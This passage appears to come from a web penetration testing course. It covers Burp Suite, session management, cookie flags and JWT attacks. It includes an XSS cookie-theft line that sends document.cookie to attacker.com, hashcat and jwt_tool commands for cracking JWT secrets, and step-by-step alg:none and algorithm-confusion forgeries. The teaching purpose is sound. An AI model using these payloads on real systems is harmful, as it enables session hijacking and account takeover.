&lt;p&gt;The single most important skill to practice here is reading raw HTTP traffic. The browser hides everything — it renders the page, you see the visual result, and you know nothing about the underlying communication. Burp Suite removes this hiding layer entirely. Every request your browser makes, every response the server sends, is laid bare — every header, every parameter, every cookie, every redirect.&lt;/p&gt;

&lt;p&gt;Setting up Burp Suite as an intercepting proxy:&lt;/p&gt;

&lt;p&gt;On Kali Linux, Burp Suite Community Edition is pre-installed. Launch it from the applications menu or terminal (&lt;code&gt;burpsuite&lt;/code&gt;). Navigate to Proxy → Options → Proxy Listeners. The default listener is &lt;code&gt;127.0.0.1:8080&lt;/code&gt;. Configure your browser (or use Burp's built-in browser) to proxy through &lt;code&gt;127.0.0.1:8080&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once configured, every request your browser makes passes through Burp. In the Proxy → Intercept tab, with interception on, you can read and modify each request before it is sent. The HTTP History tab shows every request and response in chronological order. This is your intelligence feed.&lt;/p&gt;
&lt;h3&gt;
  
  
  What to Look For When You First Open a Web Application
&lt;/h3&gt;

&lt;p&gt;When you load a new web application for the first time in an assessment, do not just browse it visually. Open Burp and watch the HTTP history as you explore. Train yourself to look for:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Server and technology disclosure:&lt;/strong&gt; Check every response's &lt;code&gt;Server&lt;/code&gt; and &lt;code&gt;X-Powered-By&lt;/code&gt; headers. Even if the homepage hides these, error pages and API endpoints often reveal them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security headers:&lt;/strong&gt; For each application, check the primary responses for the presence or absence of: &lt;code&gt;X-Frame-Options&lt;/code&gt;, &lt;code&gt;Content-Security-Policy&lt;/code&gt;, &lt;code&gt;Strict-Transport-Security&lt;/code&gt;, &lt;code&gt;X-Content-Type-Options&lt;/code&gt;, &lt;code&gt;Referrer-Policy&lt;/code&gt;. Document each missing header — they are valid findings.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cookie security flags:&lt;/strong&gt; When you receive &lt;code&gt;Set-Cookie&lt;/code&gt; headers, check every flag. Missing &lt;code&gt;HttpOnly&lt;/code&gt; means XSS can steal the cookie. Missing &lt;code&gt;Secure&lt;/code&gt; means the cookie is sent over HTTP. Missing &lt;code&gt;SameSite&lt;/code&gt; leaves the door open for CSRF.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;URL structure patterns:&lt;/strong&gt; Look for numeric IDs in URLs — &lt;code&gt;/users/1042&lt;/code&gt;, &lt;code&gt;/orders/77891&lt;/code&gt;, &lt;code&gt;/api/documents/453&lt;/code&gt;. These are IDOR candidates. Look for patterns suggesting database table names, internal system names, or backend frameworks in URL structure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JavaScript files:&lt;/strong&gt; Burp captures all JavaScript file requests. Review them in the Site Map. JS files frequently contain: API endpoint paths, environment-specific comments, authentication logic, hardcoded API keys or credentials, and development-time debugging code left in production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;API calls:&lt;/strong&gt; Single-page applications and mobile backends make extensive API calls (JSON over HTTP). These appear in Burp's history and are often much less secured than the web UI because developers assume only the official app will call them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Error conditions:&lt;/strong&gt; Deliberately cause errors — navigate to nonexistent pages, submit invalid data types in forms, send malformed JSON bodies. What do error responses reveal? Stack traces show the framework and language. SQL error messages show the database type and sometimes query structure. File path errors reveal server directory structure.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Recon Checklist for the First 30 Minutes
&lt;/h3&gt;

&lt;p&gt;When you start a web application assessment, before you run any active tools, spend 30 minutes doing this manually:&lt;/p&gt;

&lt;p&gt;Browse every page linked from the main navigation. Observe the URL structures. Submit every form with legitimate data to see normal behavior. Log in if accounts are provided. Use the application as intended.&lt;/p&gt;

&lt;p&gt;While doing this in Burp:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Note all the domains and subdomains the application contacts (visible in the HTTP history target column)&lt;/li&gt;
&lt;li&gt;Note all authentication mechanisms (cookie-based sessions, JWT, OAuth flows)&lt;/li&gt;
&lt;li&gt;Note all file upload functionality&lt;/li&gt;
&lt;li&gt;Note any functionality that takes a URL as input (link preview, webhook, import from URL)&lt;/li&gt;
&lt;li&gt;Note any numeric IDs in URLs or request parameters&lt;/li&gt;
&lt;li&gt;Note any admin or privileged functionality even if your account cannot access it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This manual reconnaissance phase tells you where to focus your testing time and which vulnerability classes are most likely relevant. The automated tools come after — they run faster against a scope you already understand.&lt;/p&gt;


&lt;h2&gt;
  
  
  6.1.4 Web Sessions — How the Stateless Protocol Pretends to Have Memory
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Problem HTTP Statelesness Creates
&lt;/h3&gt;

&lt;p&gt;We established that HTTP is stateless. But websites clearly maintain state — you log in once and the site knows who you are for an entire session. How?&lt;/p&gt;

&lt;p&gt;This is a fundamental engineering challenge. The web was originally designed for static documents, not applications that maintain user state across multiple interactions. As the web evolved into an application platform, a series of state management mechanisms were layered on top of the fundamentally stateless HTTP protocol.&lt;/p&gt;

&lt;p&gt;Understanding these mechanisms is essential for web security because each one — cookies, sessions, tokens — creates specific, exploitable vulnerabilities.&lt;/p&gt;
&lt;h3&gt;
  
  
  How Sessions Work — The Complete Mechanism
&lt;/h3&gt;

&lt;p&gt;The session lifecycle works like this:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Authentication&lt;/strong&gt;&lt;br&gt;
You send your credentials to the login endpoint. The server validates them against its database. If valid, the server needs a way to "remember" that you authenticated so it does not require you to log in for every subsequent page.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Session Creation&lt;/strong&gt;&lt;br&gt;
The server creates a session record in its session store. This might be an in-memory structure like Redis, a database table, or even the filesystem. The session record stores data about your authenticated state — your user ID, your role, your permissions, potentially your preferences. Something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"session_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10042&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"created_at"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-07-16T09:30:00Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"expires_at"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-07-16T17:30:00Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ip_address"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"192.168.1.100"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Session ID Delivery&lt;/strong&gt;&lt;br&gt;
The server sends you the session ID (just the ID, not all the session data) via a &lt;code&gt;Set-Cookie&lt;/code&gt; header in the login response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/1.1 200 OK
Set-Cookie: session_id=7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=28800
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4: Automatic Cookie Transmission&lt;/strong&gt;&lt;br&gt;
Your browser stores this cookie and automatically attaches it to every subsequent request to &lt;code&gt;bank.example.com&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /dashboard HTTP/1.1
Host: bank.example.com
Cookie: session_id=7f3a9b2c1d8e4f6a3b2c9d8e7f3a9b2c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5: Session Lookup&lt;/strong&gt;&lt;br&gt;
The server receives this request, extracts the session ID from the Cookie header, looks it up in the session store, finds your session record, and from that knows you are authenticated as user 10042 with admin role. It processes the request accordingly.&lt;/p&gt;

&lt;p&gt;The session ID is just a reference key. The actual data lives server-side in the session store. The browser holds only the key.&lt;/p&gt;
&lt;h3&gt;
  
  
  Why Session IDs Must Be Cryptographically Random
&lt;/h3&gt;

&lt;p&gt;The session ID is the key to your authenticated identity. If an attacker obtains your session ID, they can impersonate you completely — without knowing your password, without your phone for MFA, without any other credential. They simply need to include your session ID in a Cookie header, and the server will think they are you.&lt;/p&gt;

&lt;p&gt;This attack is called &lt;strong&gt;session hijacking&lt;/strong&gt;, and it is one of the most immediately devastating attacks in web security. A single captured session ID can give an attacker full access to an account for the duration of the session — which on poorly designed sites can be weeks or months.&lt;/p&gt;

&lt;p&gt;For session IDs to be secure against brute force and prediction attacks, they must be:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Generated using a CSPRNG:&lt;/strong&gt; A Cryptographically Secure Pseudo-Random Number Generator produces values that are computationally impossible to predict. Standard random number functions like JavaScript's &lt;code&gt;Math.random()&lt;/code&gt;, PHP's &lt;code&gt;rand()&lt;/code&gt;, or Python's &lt;code&gt;random&lt;/code&gt; module are NOT cryptographically secure. They are designed for statistical distributions, not unpredictability. A session ID generated with &lt;code&gt;rand()&lt;/code&gt; can be predicted if an attacker captures a few session IDs and identifies the seed or state of the generator. Use &lt;code&gt;secrets&lt;/code&gt; in Python, &lt;code&gt;crypto.randomBytes()&lt;/code&gt; in Node.js, &lt;code&gt;random_bytes()&lt;/code&gt; in PHP, &lt;code&gt;SecureRandom&lt;/code&gt; in Java.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Long enough to resist brute force:&lt;/strong&gt; Session IDs should have at least 128 bits of entropy. At 128 bits, even if an attacker could try a billion session IDs per second, it would take longer than the age of the universe to find a valid one statistically. Many frameworks generate 128 or 256-bit session IDs by default — but some older frameworks still generate dangerously short IDs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Not derived from predictable data:&lt;/strong&gt; A session ID that incorporates &lt;code&gt;base64(username + timestamp)&lt;/code&gt; is not random — it is deterministic. An attacker who knows your username and approximately when you logged in can compute your session ID. Session IDs must be completely independent of any user-specific data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Invalidated server-side on logout:&lt;/strong&gt; This is one of the most commonly missed requirements. When a user logs out, the server must delete the session record from the session store — not just tell the browser to delete the cookie. If only the client-side cookie is cleared but the server-side session persists, the session is still valid. Anyone who captured or observed the session ID earlier (from a shared browser, from a network sniff, from logs) can replay it. The only correct logout is server-side session invalidation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Regenerated on privilege change:&lt;/strong&gt; Whenever a user's privilege level changes — most importantly, upon successful login — the server must generate a new session ID and invalidate the old one. This prevents &lt;strong&gt;session fixation attacks&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Cookie Security Flags — The Defense Mechanisms
&lt;/h3&gt;

&lt;p&gt;When the server sets a cookie, it can attach flags that control the cookie's security behavior. Understanding these flags is essential because their absence creates directly exploitable vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The HttpOnly Flag&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Set-Cookie: session_id=abc; HttpOnly&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;HttpOnly prevents JavaScript from reading the cookie. When HttpOnly is set, &lt;code&gt;document.cookie&lt;/code&gt; returns the cookie name but not its value. The cookie exists in the browser's cookie jar and is still sent with HTTP requests — but JavaScript code running in the page cannot read it.&lt;/p&gt;

&lt;p&gt;Why this matters: XSS (Cross-Site Scripting) attacks work by injecting malicious JavaScript into a page. The most common goal of XSS is session theft — the injected script reads &lt;code&gt;document.cookie&lt;/code&gt; and sends the session ID to the attacker. HttpOnly blocks this specific theft vector.&lt;/p&gt;

&lt;p&gt;What HttpOnly does NOT do: It does not prevent the cookie from being sent with HTTP requests. So CSRF attacks are completely unaffected — the browser still sends the HttpOnly cookie on every request to the domain, including forged ones from malicious pages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Secure Flag&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Set-Cookie: session_id=abc; Secure&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Secure tells the browser to only transmit this cookie over HTTPS connections, never over plain HTTP. Without Secure, if a user visits any HTTP version of the site — even accidentally, through an old bookmark or an HTTP link — the browser sends the cookie in cleartext over the unencrypted connection, where a network eavesdropper can capture it.&lt;/p&gt;

&lt;p&gt;This is especially relevant in scenarios where HTTPS is deployed but HTTP is not explicitly redirected, or where mixed-content situations exist.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The SameSite Flag&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Set-Cookie: session_id=abc; SameSite=Strict&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;SameSite controls when the cookie is included in cross-site requests. This is the primary cookie-level defense against CSRF (Cross-Site Request Forgery).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SameSite=Strict&lt;/code&gt; — The cookie is only sent when the request originates from the same site. Cross-site navigations (following a link from another website) and cross-site requests (fetches, form submissions, image loads) from other domains will NOT include this cookie. Maximum CSRF protection. The tradeoff: if you link to your site from an email or social media, the initial request will not include the cookie, so the user will appear logged out and need to re-authenticate.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt; — The cookie is NOT sent on cross-site background requests (API calls, images, iframes from other sites) but IS sent when a user follows a top-level navigation link from another site. This is the default in modern browsers when SameSite is not specified. It provides good CSRF protection while maintaining the user experience of staying logged in when following links.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SameSite=None&lt;/code&gt; — The cookie is sent on all requests regardless of origin. This is required for legitimate cross-site cookies (third-party analytics, embedded payment forms, OAuth cross-site flows). Must be paired with &lt;code&gt;Secure&lt;/code&gt; — browsers refuse to set &lt;code&gt;SameSite=None&lt;/code&gt; cookies without the Secure flag.&lt;/p&gt;

&lt;p&gt;The SameSite attribute, when properly implemented, dramatically reduces CSRF risk. But it is not a complete CSRF defense on its own — implementation inconsistencies across older browsers, subdomain trust relationships, and specific request type exceptions mean CSRF tokens should still be used alongside SameSite.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Domain and Path Attributes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Set-Cookie: session_id=abc; Domain=.example.com; Path=/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Domain controls which hostnames receive the cookie. &lt;code&gt;Domain=.example.com&lt;/code&gt; sends the cookie to &lt;code&gt;example.com&lt;/code&gt; and all its subdomains — &lt;code&gt;api.example.com&lt;/code&gt;, &lt;code&gt;app.example.com&lt;/code&gt;, &lt;code&gt;dev.example.com&lt;/code&gt;. This has a security implication: if any subdomain has an XSS vulnerability, an attacker exploiting that XSS can steal cookies scoped to the entire &lt;code&gt;.example.com&lt;/code&gt; domain, including the main application's session cookies.&lt;/p&gt;

&lt;p&gt;Path controls which URL paths on the server receive the cookie. &lt;code&gt;Path=/api&lt;/code&gt; would only send the cookie to requests under &lt;code&gt;/api&lt;/code&gt;. This is rarely used for security (it is more commonly used to prevent cookie bloat from sending large cookies to every request).&lt;/p&gt;
&lt;h3&gt;
  
  
  Session Attacks — A Complete Taxonomy with Exploitation Patterns
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Session Hijacking&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The attacker obtains a valid session ID and replays it in their own requests. Attack vectors for obtaining the session ID:&lt;/p&gt;

&lt;p&gt;Network interception: If the Secure flag is missing, session cookies travel in cleartext over HTTP. A network eavesdropper (MITM on the same network, rogue Wi-Fi AP, corporate proxy) captures the cookie value. The attacker copies the cookie into their browser and is immediately authenticated as the victim.&lt;/p&gt;

&lt;p&gt;XSS theft: If HttpOnly is missing, an XSS payload reads and exfiltrates the cookie:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Attacker's XSS payload sent to the victim's browser&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attacker.com/steal?c=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With the cookie captured, the attacker imports it into their browser and takes over the session.&lt;/p&gt;

&lt;p&gt;Log extraction: Server access logs sometimes contain session tokens if they appear in URLs (a result of developers incorrectly using GET parameters for session management). Log aggregation systems, monitoring dashboards, and error reporting services are worth checking for session ID exposure.&lt;/p&gt;

&lt;p&gt;Server-side session store breach: If the session store (Redis, database) is compromised, all active session IDs are exposed simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Session Fixation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In session fixation, the attacker does not steal a session — they force a known session ID onto the victim before authentication, then use that known ID after the victim authenticates.&lt;/p&gt;

&lt;p&gt;Attack flow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker visits the login page and receives a pre-authentication session ID from the server (e.g., &lt;code&gt;session_id=attacker_known_value&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Attacker sends the victim a link that includes this session ID: &lt;code&gt;https://bank.example.com/login?session_id=attacker_known_value&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Victim clicks the link and the application sets a cookie with the attacker's known session ID&lt;/li&gt;
&lt;li&gt;Victim logs in successfully&lt;/li&gt;
&lt;li&gt;The application does NOT generate a new session ID after login — it keeps the same session ID now marked as authenticated&lt;/li&gt;
&lt;li&gt;Attacker uses &lt;code&gt;session_id=attacker_known_value&lt;/code&gt; and is now authenticated as the victim&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The complete defense is session ID regeneration on authentication. After a user successfully authenticates, the server must generate a completely new session ID, set it in a new cookie, and invalidate the old session ID. This breaks fixation attacks because even if the attacker forced a known pre-auth session ID, it becomes invalid the moment authentication succeeds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Session Prediction&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If session IDs are generated with a weak or predictable algorithm, an attacker who captures a series of session IDs can potentially predict future valid ones. This is less common with modern frameworks (which almost universally use CSPRNGs) but appears in custom session management implementations and legacy systems. During an assessment, capture multiple session IDs and analyze them with tools like Burp Suite's Sequencer, which performs statistical randomness testing on a sample of session tokens.&lt;/p&gt;

&lt;h3&gt;
  
  
  JSON Web Tokens (JWTs) — The Modern Alternative and Its Attack Surface
&lt;/h3&gt;

&lt;p&gt;Many modern applications — especially those built as APIs consumed by JavaScript frontends and mobile apps — use JWT (JSON Web Token) authentication rather than server-side sessions. Understanding JWTs deeply is essential for modern web application testing.&lt;/p&gt;

&lt;p&gt;A JWT is a self-contained token that carries claims (assertions) about the user, signed cryptographically so the server can verify they have not been tampered with. JWTs have three parts, each Base64Url-encoded and separated by dots:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJzdWIiOiIxMDQyIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MjE5OTk2MDAsImV4cCI6MTcyMjAyODQwMH0
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decode these three Base64 sections and you get:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Header:&lt;/strong&gt; &lt;code&gt;{"alg": "HS256", "typ": "JWT"}&lt;/code&gt; — The algorithm used for signing and the token type.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt; &lt;code&gt;{"sub": "1042", "name": "Alice", "role": "user", "iat": 1721999600, "exp": 1722028400}&lt;/code&gt; — The claims: user ID, name, role, issued-at time, expiry time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Signature:&lt;/strong&gt; The HMAC-SHA256 of &lt;code&gt;base64url(header).base64url(payload)&lt;/code&gt; signed with the server's secret key.&lt;/p&gt;

&lt;p&gt;The critical difference between JWTs and server-side sessions: the server does not need to store anything. The token is self-validating — the server just verifies the signature. This makes JWTs stateless in a distributed system sense, which is why they are popular for microservices and APIs.&lt;/p&gt;

&lt;p&gt;But this architecture creates specific vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JWT Vulnerability 1 — The alg:none Attack&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Early JWT libraries trusted the algorithm specified in the token's own header. An attacker could modify the header to &lt;code&gt;{"alg": "none"}&lt;/code&gt;, remove the signature entirely, and modify the payload (e.g., change &lt;code&gt;"role": "user"&lt;/code&gt; to &lt;code&gt;"role": "admin"&lt;/code&gt;). The library, seeing &lt;code&gt;alg: none&lt;/code&gt;, would skip signature verification and accept the token.&lt;/p&gt;

&lt;p&gt;Modern libraries reject &lt;code&gt;alg: none&lt;/code&gt;, but it is worth testing on any application using JWTs, especially if the backend seems older or custom-built.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JWT Vulnerability 2 — Algorithm Confusion (RS256 to HS256)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is a more sophisticated and more commonly found attack. Some applications use RS256 (RSA signing with a private key, verified with a public key). The public key is publicly available — that is the point of asymmetric cryptography.&lt;/p&gt;

&lt;p&gt;If the application also accepts HS256 (HMAC signing with a symmetric secret), an attacker can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Get the server's public RSA key (often exposed at a JWKS endpoint like &lt;code&gt;/auth/.well-known/jwks.json&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Create a malicious JWT with modified claims and &lt;code&gt;"alg": "HS256"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Sign it using the public RSA key as the HMAC secret&lt;/li&gt;
&lt;li&gt;When the server processes this JWT, if it uses &lt;code&gt;alg: HS256&lt;/code&gt;, it verifies the HMAC signature using what it thinks is the HS256 secret — but the attacker signed with the public key, which the server has. The signature validates correctly.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The attacker has created a valid signature for a token they forged.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JWT Vulnerability 3 — Weak Secret (HS256 Secret Cracking)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;HS256-signed JWTs use a symmetric secret. If this secret is weak (common examples include &lt;code&gt;secret&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, the application name, the domain name, a short string), it can be cracked offline:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Using Hashcat to crack JWT HS256 secret&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-a&lt;/span&gt; 0 &lt;span class="nt"&gt;-m&lt;/span&gt; 16500 captured_jwt.txt wordlist.txt

&lt;span class="c"&gt;# Using jwt_tool for JWT attacks&lt;/span&gt;
python3 jwt_tool.py eyJhbGci... &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the secret is known, the attacker can forge arbitrary tokens — changing role, user ID, expiry, or any other claim.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JWT Vulnerability 4 — Sensitive Claims in Payload&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The JWT payload is Base64Url-encoded, not encrypted. Anyone who has the token can decode and read every claim in it. This is not a vulnerability by itself — the signature ensures integrity. But developers sometimes include sensitive data in JWT claims: plaintext passwords, access tokens for third-party services, PII. Always decode JWT payloads during an assessment and check what data is exposed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;JWT Testing Tools:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://jwt.io" rel="noopener noreferrer"&gt;jwt.io&lt;/a&gt; — online decoder and encoder&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/ticarpi/jwt_tool" rel="noopener noreferrer"&gt;jwt_tool&lt;/a&gt; — comprehensive JWT attack framework&lt;/li&gt;
&lt;li&gt;Burp Suite JWT Editor extension — built-in JWT manipulation in Burp&lt;/li&gt;
&lt;li&gt;Burp Suite Scanner — automatically tests for common JWT vulnerabilities&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  6.1.5 Practice — Attacking and Analyzing Web Sessions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Session Security Audit Checklist
&lt;/h3&gt;

&lt;p&gt;When assessing a web application's session management, work through this checklist systematically:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Cookie Flag Analysis&lt;/strong&gt;&lt;br&gt;
In Burp Suite, find any &lt;code&gt;Set-Cookie&lt;/code&gt; headers in responses. For each session-related cookie:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is &lt;code&gt;HttpOnly&lt;/code&gt; present? If not: XSS can steal this cookie&lt;/li&gt;
&lt;li&gt;Is &lt;code&gt;Secure&lt;/code&gt; present? If not: Cookie transmitted over HTTP in cleartext&lt;/li&gt;
&lt;li&gt;Is &lt;code&gt;SameSite&lt;/code&gt; present and configured? If &lt;code&gt;SameSite=None&lt;/code&gt; or missing: CSRF risk&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Session ID Entropy Analysis&lt;/strong&gt;&lt;br&gt;
Capture 20-50 session IDs from multiple login sessions. Paste them into Burp Suite's Sequencer tool (Proxy → HTTP History → right-click a response setting a session cookie → "Send to Sequencer"). Sequencer performs statistical analysis of the session ID entropy and gives you a confidence rating. Low entropy means the session IDs may be predictable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Session Fixation Test&lt;/strong&gt;&lt;br&gt;
Log in and note your session ID. Log out. Log back in with the same browser session. Does the session ID change? It must. If the same session ID persists across authentication state changes, session fixation may be possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Logout Verification&lt;/strong&gt;&lt;br&gt;
Log in and note your session ID. Log out. Now use Burp Repeater to replay a request with your old session ID. Does the server accept it (vulnerability) or reject it with 401/403 (correct behavior)?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Session Timeout Test&lt;/strong&gt;&lt;br&gt;
Log in. Wait for the configured session timeout period (find this in your pre-engagement documentation or test with various idle periods). After timeout, attempt to use your old session ID. Is it invalidated?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. JWT Analysis (if applicable)&lt;/strong&gt;&lt;br&gt;
If the application uses JWTs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Decode the header and payload at jwt.io&lt;/li&gt;
&lt;li&gt;Check what claims are present and whether any sensitive data is exposed&lt;/li&gt;
&lt;li&gt;Try changing &lt;code&gt;alg&lt;/code&gt; to &lt;code&gt;none&lt;/code&gt; and removing the signature&lt;/li&gt;
&lt;li&gt;Try changing the role or privilege claim and submit with modified payload&lt;/li&gt;
&lt;li&gt;Use jwt_tool to test for algorithm confusion and weak secrets&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  6.1.6 OWASP Top 10 — The Map of the Web Application Attack Surface
&lt;/h2&gt;
&lt;h3&gt;
  
  
  What OWASP Is and Why the Top 10 Exists
&lt;/h3&gt;

